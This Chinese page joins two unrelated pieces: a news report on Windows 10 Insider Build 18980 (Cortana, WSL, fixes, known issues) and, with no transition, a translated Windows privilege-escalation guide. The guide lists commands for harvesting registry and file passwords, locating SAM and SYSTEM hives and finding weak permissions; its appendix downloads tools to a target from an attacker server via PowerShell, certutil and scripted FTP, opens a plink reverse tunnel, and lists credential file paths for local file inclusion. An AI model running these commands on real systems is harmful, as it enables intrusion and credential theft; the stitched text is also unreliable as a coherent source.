面向Fast通道成員,微軟今天發布了Windows 10 Build 18980版本更新。作為Windows 10 20H1開發分支的最新預覽版,本次版本更新面向全球更多用戶開放了Cortana應用程序,并對Windows Subsystem for Linux (WSL)進行了多項改進。
在今年7月份發布的預覽版更新中,微軟僅面向美國地區的Windows Insider成員開放了最新的Cortana體驗。而在今天發布的版本更新中,微軟邀請全球Windows Insider成員共同體驗最新的Cortana應用程序。
Windows 10 Build 18980版本更新內容如下
對Cortana的更新
根據用戶的反饋,為了讓所有Windows用戶都可以使用Cortana應用程序我們又向前邁進了一大步。自今天發布的版本更新開始,全球所有Windows Insider成員都可以看到全新的Cortana圖標和應用程序。
在未來的Cortana應用更新中,無論當前系統使用什么語言,只要使用支持的語言來發布語音命令,Cortana都能做出回應。全新的Cortana應用程序目前僅支持英語(美國),因為Cortana是服務支持的,我們可以并將繼續在未來幾個月內添加新語言,獨立于操作系統的版本更新。
我們希望在20H1發布之前支持我們目前支持零售的同一組區域和語言。我們將分享有關語言推廣計劃的更多詳細信息,在此過渡期間請耐心等待。
Windows Subsystem for Linux (WSL) 改進
在本次版本更新中,微軟為ARM64設備新增了WSL2支持。微軟還添加了使用/etc/wsl.conf文件設置發行版本的默認用戶。本次版本更新包含多項BUG修復,包括遺留Windows符號鏈接的長期問題(例如用戶配置文件目錄中的那些問題)。
有關此最新Insider Preview構建中的更改的完整詳細信息,請參閱WSL發行說明。
可選功能設置區域的改進
這項功能改進已經面向Fast通道的所有用戶開放。感謝那些已經嘗試過并分享反饋的人。如果您現在體驗到這種體驗,我們迫不及待地想聽聽您的想法!為了快速回顧一下,我們已經添加了多選,搜索和一般完成的工作,以使這一部分更容易使用:
常規更新、改進和修復
● 在之前的版本中有一個升級塊,以確保具有某些版本的Outlook的Insiders不受構建中的問題的影響,這導致一些內部人員在上周檢查更新時沒有找到構建。此航班已刪除此內容。
● 修復了最近版本中發生的netprofmsvc.dll中的死鎖。受影響的人的癥狀可能包括升級到98%的構建凍結,或者(如果你能夠升級),系統的各個方面意外凍結并變得無法響應。
● 已經做了一些工作來幫助解決如果您單擊傳入的電子郵件通知Outlook無法啟動的問題。
● 在最近的版本中修復了影響觸摸鍵盤可靠性的問題。
● 修復了影響WIN +(期間)可靠性的問題。
● 微軟決定重新回歸到韓國IME的零售版本,同時我們正在努力解決內部人員與我們分享的有關更新的IME體驗的反饋。
● 修復了影響最近幾次飛行中屏幕剪切可靠性的問題。
● 修復了一個問題,可能導致上一次航班上的登錄屏幕丙烯酸有時會意外地顯示UI元素周圍的方塊。
● 修復了一個問題,當您在“任務視圖”中右鍵單擊它們時,可能會導致某些應用縮略圖意外變為空白。
● 修復了在任務管理器的性能選項卡中將可移動設備錯誤地標記為HDD的問題。它們現在將被標記為可移動。
● 正如一些業內人士所注意到的那樣,為了讓您可以根據需要選擇節省磁盤空間,我們已將MS Paint和WordPad轉換為可選功能。您可以選擇卸載它們或通過“設置”中的“可選功能”重新安裝它們。
● 進行了一些調整,以幫助您在搜索時改善“設置”中“應用和功能”頁面的效果。
● 修復了一個問題,在更新帳戶圖片時可能會導致設置崩潰。
● 輕松訪問設置不再參與設置同步(漫游)。因此,我們現在已刪除設置>帳戶>同步您的設置中的輕松訪問切換。
● 放大鏡閱讀現在可以在Google Chrome和Firefox等應用中更好地運行。
● 使用“從此處讀取”按鈕或Ctrl + Alt +鼠標左鍵單擊鍵盤快捷鍵時,放大鏡讀數不再單擊應用程序。
● 修復了一個問題,當從左到右和從右到左語言切換時,文本光標指示器不會顯示。
● 解決了文本光標指示器有時會出現在屏幕的只讀區域的問題。
● 修復了一個問題,即文本光標指示器將出現在“開始”菜單上,而不是在“搜索”編輯框中鍵入文本后停留在“搜索”編輯框中。
● 在Outlook中閱讀郵件時,改進了使用講述人閱讀窗口標題的功能。
● 使用講述人改進了Outlook中的自動閱讀功能,使其更加可靠。
● 在掃描模式下使用Shift + Tab命令時,在讀取時使用講述人更可靠地讀取消息標題。
● 在詳細級別一級閱讀列表時,改善了敘述者的冗長程度。
● 修復了在編輯內容時某些網頁上的編輯字段未在配置的盲文顯示器上正確更新的問題。
● 修復了某些本地體驗包(LXP)可能會恢復為英語的問題。
● 修復了一個問題,導致某些Wi-Fi適配器在從以前版本的Windows升級后無法加載(代碼10錯誤),需要被禁用并重新啟用才能工作。
已知問題
■ 如果用戶沒有充足的磁盤空間來繼續,那么Reset this PC云下載選項目前不會計算釋放所需要的正確容量。微軟稍后會放出修復解決方案,釋放超出提示的額外5GB。
■ 安裝某些可選功能之后,Reset this PC云下載選項無法正常工作。該過程將開始,但會發生錯誤并回滾更改。要解決此問題,請在嘗試云下載選項之前刪除可選功能。一旦此問題得到解決,我們會通知您。
這些可選功能包括:用于Windows 10的EMS和SAC工具集,IrDA紅外,打印管理控制臺,RAS連接管理器管理工具包(CMAK),RIP偵聽器,所有RSAT工具,簡單網絡管理協議(SNMP),Windows傳真和掃描,Windows存儲管理,無線顯示和WI SNMP提供程序。
■ 部分使用舊版反作弊軟件的游戲依然沒有解決,如果升級至Windows 10 19H1可能會導致PC崩潰漏。微軟正在與合作伙伴合作,通過修復程序更新軟件,大多數游戲都發布了補丁,以防止PC遇到此問題。
為了盡量減少遇到此問題的可能性,請在嘗試更新操作系統之前確保您運行的是最新版本的游戲。微軟還與反作弊者和游戲開發者合作解決20H1 Insider Preview構建中可能出現的類似問題,并將努力將這些問題的可能性降至最低。
■ 有些Realtek SD卡讀卡器無法正常工作。微軟正在調查這個問題。
■ 在更新到此版本后,添加新的語言包報告成功安裝但未安裝。
■ 某些2D應用程序(如反饋中心,Microsoft Store,3D Viewer)被錯誤地視為在Windows混合現實中具有受保護的內容。在視頻捕獲期間,這些2D應用會阻止其內容被錄制。
■ 在Windows混合現實中通過反饋中心提交錯誤時捕獲重新監視視頻時,由于上面提到的受保護內容問題,您將無法選擇停止視頻。如果您想提交一個重復視頻,您需要等待5分鐘才能使錄制超時。如果您想在沒有重新制作視頻的情況下提交錯誤,則可以關閉“反饋中心”窗口以結束錄制并在“反饋”>“草稿”中重新打開應用程序時繼續歸檔錯誤。
介紹
特權升級總是被歸結為適當的枚舉。但要完成適當的枚舉,你需要知道要檢查和查找的內容。這通常需要伴隨著經驗的豐富而對系統非常熟悉。起初特權升級看起來像是一項艱巨的任務,但過了一段時間,你就開始過濾哪些是正常的東西,而哪些不是正常的東西。最終變得更容易,因為你知道要尋找什么了,而不是挖掘希望在干草堆中找到那根針的所有東西。希望本指南能為你的入門提供良好的基礎知識。
本指南受到了g0tm1lk發表的基本的Linux提權姿勢的文章的影響,在某些時候,你應該已經看到并使用了該指南。我想試圖反映他的指導,除了Windows。所以本指南主要集中在枚舉方面。
注:我不是專家,仍然在學習當中。
指南概述
在每個部分中,我首先提供老的可靠的CMD命令,然后是一個Powershell實現的的等價命令。同時擁有這兩種工具是非常好的,Powershell比傳統的CMD更加靈活。然而,沒有一個Powershell命令能等價于所有東西(或者CMD在某些事情上仍然更簡單更好),所以一些部分將只包含常規的CMD命令。
操作系統
操作系統類型和架構?它是否缺少任何補丁?
systeminfo wmic qfe
環境變量有什么有趣的地方嗎?域控制器在LOGONSERVER?
set Get-ChildItem Env: | ft Key,Value
有沒有其他連接的驅動器?
net use wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
用戶
你是誰?
whoami echo %USERNAME% $env:UserName
系統上有哪些用戶?任何舊的用戶配置文件沒有被清理掉?
net users dir /b /ad "C:\Users\" dir /b /ad "C:\Documents and Settings\" # Windows XP and below Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name
是否有其他人登錄?
qwinsta
系統上有哪些用戶組?
net localgroup Get-LocalGroup | ft Name
在管理員組中有哪些用戶?
net localgroup Administrators Get-LocalGroupMember Administrators | ft Name, PrincipalSource
用戶自動登錄對應的注冊表中有些什么內容?
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
Credential Manager中有什么有趣的東西?
cmdkey /list
我們可以訪問SAM和SYSTEM文件嗎?
%SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system
程序,進程和服務
系統都安裝了些什么軟件?
dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
有沒有權限設置的比較脆弱的文件夾或文件的權限?
在程序文件夾中(Program Folders)有哪些文件或文件夾賦予了所有人(Everyone)或用戶(User)的完全權限?
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
修改程序文件夾(Program Folders)中的所有人(Everyone)或用戶(User)的權限?
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone" icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone" icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
你也可以上傳Sysinternals中的accesschk來檢查可寫文件夾和文件。
accesschk.exe -qwsu "Everyone" * accesschk.exe -qwsu "Authenticated Users" * accesschk.exe -qwsu "Users" *
系統上正在運行的進程/服務有哪些?有沒有暴露的內部服務?如果是這樣,我們可以打開它嗎?請參閱附錄中的端口轉發。
tasklist /svc tasklist /v net start sc query
Get-Process | ft ProcessName,Id Get-Service
是否存在任何脆弱的服務權限?我們可以重新配置什么嗎?你可以再次上傳accesschk來檢查權限。
accesschk.exe -uwcqv "Everyone" * accesschk.exe -uwcqv "Authenticated Users" * accesschk.exe -uwcqv "Users" *
有沒有引用的服務路徑?
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\" 2>nul |findstr /i /v """
是否設置了計劃任務?任何自定義實現的計劃任務?
schtasks /query /fo LIST 2>nul | findstr TaskName dir C:\windows\tasks
Get-ScheduledTask | ft TaskName, State
系統啟動時都運行了些什么?
wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run' Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce' Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run' Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce' Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup" Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
AlwaysInstallElevated是否啟用?我沒有跑過這個,但沒有傷害檢查。
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
網絡
連接到了哪一塊網卡?是否有多個網絡?
ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
我們有哪些網絡路線?
route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP緩存中有什么?
arp -a Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
是否有連接到其他主機的網絡連接?
netstat -ano
hosts文件中的任何東西?
C:\WINDOWS\System32\drivers\etc\hosts
防火墻是否打開?如果是又是怎樣配置的?
netsh firewall show state netsh firewall show config netsh advfirewall firewall show rule name=all netsh advfirewall export "firewall.txt"
任何其他有趣的接口配置?
netsh dump
有沒有SNMP配置?
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
有趣的文件和敏感信息
這部分內容的命令輸出可能有點雜亂,所以你可能想把命令的輸出重定向到txt文件中進行審查和解析。
在注冊表中是否有任何密碼?
reg query HKCU /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s
查看是否存在沒有清理掉的sysprep或unattended文件?
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
如果服務器是IIS網絡服務器,那么inetpub中有什么?以及任何隱藏的目錄?web.config文件?
dir /a C:\inetpub\ dir /s web.config C:\Windows\System32\inetsrv\config\applicationHost.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
在IIS日志目錄中有些什么文件?
C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
是否安裝了XAMPP,Apache或PHP?任何有XAMPP,Apache或PHP配置文件?
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue
系統中是否存在任何Apache網絡日志?
dir /s access.log error.log Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
系統中是否任何有趣的文件?可能在用戶目錄(桌面,文檔等)?
dir /s *pass*==*vnc*==*.config* 2>nul Get-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue
系統中是否有包含密碼的文件?
findstr /si password *.xml *.ini *.txt *.config 2>nul Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
附錄
傳輸文件
在特權升級過程中的某個時候,你需要將文件放到你的目標上。下面是一些簡單的方法來做到這一點。
Powershell Cmdlet(Powershell 3.0及更高版本)
Invoke-WebRequest "https://myserver/filename" -OutFile "C:\Windows\Temp\filename"
Powershell一行代碼實現方法:
(New-Object System.Net.WebClient).DownloadFile("https://myserver/filename", "C:\Windows\Temp\filename")
Powershell腳本
echo $webclient=New-Object System.Net.WebClient >>wget.ps1 echo $url="http://IPADDRESS/file.exe" >>wget.ps1 echo $file="output-file.exe" >>wget.ps1 echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
通過文本文件的非交互式FTP。當你只有有限的命令執行時這很有用。
echo open 10.10.10.11 21> ftp.txt echo USER username>> ftp.txt echo mypassword>> ftp.txt echo bin>> ftp.txt echo GET filename>> ftp.txt echo bye>> ftp.txt ftp -v -n -s:ftp.txt CERTUTIL certutil.exe -urlcache -split -f https://myserver/filename outputfilename
轉發端口
這對于暴露機器外部不可用的內部服務非常有用,通常是由于防火墻設置。
上傳plink.exe到目標。
在攻擊機器上啟動SSH。
例如要公開SMB,在目標上運行:
plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
注意:從Windows 10的秋季創作者更新版本開始,OpenSSH已經在Windows的beta版本中推出,所以我預計有一天我們可能只能使用普通的舊的SSH命令進行端口轉發,具體取決于是否啟用。
本地文件包含列表
這不是一個詳盡的列表,安裝目錄會有所不同,我只列出了一些常見的文件路徑。
C:\Apache\conf\httpd.conf C:\Apache\logs\access.log C:\Apache\logs\error.log C:\Apache2\conf\httpd.conf C:\Apache2\logs\access.log C:\Apache2\logs\error.log C:\Apache22\conf\httpd.conf C:\Apache22\logs\access.log C:\Apache22\logs\error.log C:\Apache24\conf\httpd.conf C:\Apache24\logs\access.log C:\Apache24\logs\error.log C:\Documents and Settings\Administrator\NTUser.dat C:\php\php.ini C:\php4\php.ini C:\php5\php.ini C:\php7\php.ini C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache\logs\access.log C:\Program Files (x86)\Apache Group\Apache\logs\error.log C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache2\logs\access.log C:\Program Files (x86)\Apache Group\Apache2\logs\error.log c:\Program Files (x86)\php\php.ini" C:\Program Files\Apache Group\Apache\conf\httpd.conf C:\Program Files\Apache Group\Apache\conf\logs\access.log C:\Program Files\Apache Group\Apache\conf\logs\error.log C:\Program Files\Apache Group\Apache2\conf\httpd.conf C:\Program Files\Apache Group\Apache2\conf\logs\access.log C:\Program Files\Apache Group\Apache2\conf\logs\error.log C:\Program Files\FileZilla Server\FileZilla Server.xml C:\Program Files\MySQL\my.cnf C:\Program Files\MySQL\my.ini C:\Program Files\MySQL\MySQL Server 5.0\my.cnf C:\Program Files\MySQL\MySQL Server 5.0\my.ini C:\Program Files\MySQL\MySQL Server 5.1\my.cnf C:\Program Files\MySQL\MySQL Server 5.1\my.ini C:\Program Files\MySQL\MySQL Server 5.5\my.cnf C:\Program Files\MySQL\MySQL Server 5.5\my.ini C:\Program Files\MySQL\MySQL Server 5.6\my.cnf C:\Program Files\MySQL\MySQL Server 5.6\my.ini C:\Program Files\MySQL\MySQL Server 5.7\my.cnf C:\Program Files\MySQL\MySQL Server 5.7\my.ini C:\Program Files\php\php.ini C:\Users\Administrator\NTUser.dat C:\Windows\debug\NetSetup.LOG C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml C:\Windows\php.ini C:\Windows\repair\SAM C:\Windows\repair\system C:\Windows\System32\config\AppEvent.evt C:\Windows\System32\config\RegBack\SAM C:\Windows\System32\config\RegBack\system C:\Windows\System32\config\SAM C:\Windows\System32\config\SecEvent.evt C:\Windows\System32\config\SysEvent.evt C:\Windows\System32\config\SYSTEM C:\Windows\System32\drivers\etc\hosts C:\Windows\System32\winevt\Logs\Application.evtx C:\Windows\System32\winevt\Logs\Security.evtx C:\Windows\System32\winevt\Logs\System.evtx C:\Windows\win.ini C:\xampp\apache\conf\extra\httpd-xampp.conf C:\xampp\apache\conf\httpd.conf C:\xampp\apache\logs\access.log C:\xampp\apache\logs\error.log C:\xampp\FileZillaFTP\FileZilla Server.xml C:\xampp\MercuryMail\MERCURY.INI C:\xampp\mysql\bin\my.ini C:\xampp\php\php.ini C:\xampp\security\webdav.htpasswd C:\xampp\sendmail\sendmail.ini C:\xampp\tomcat\conf\server.xml
翻譯:李白
原文:嘶吼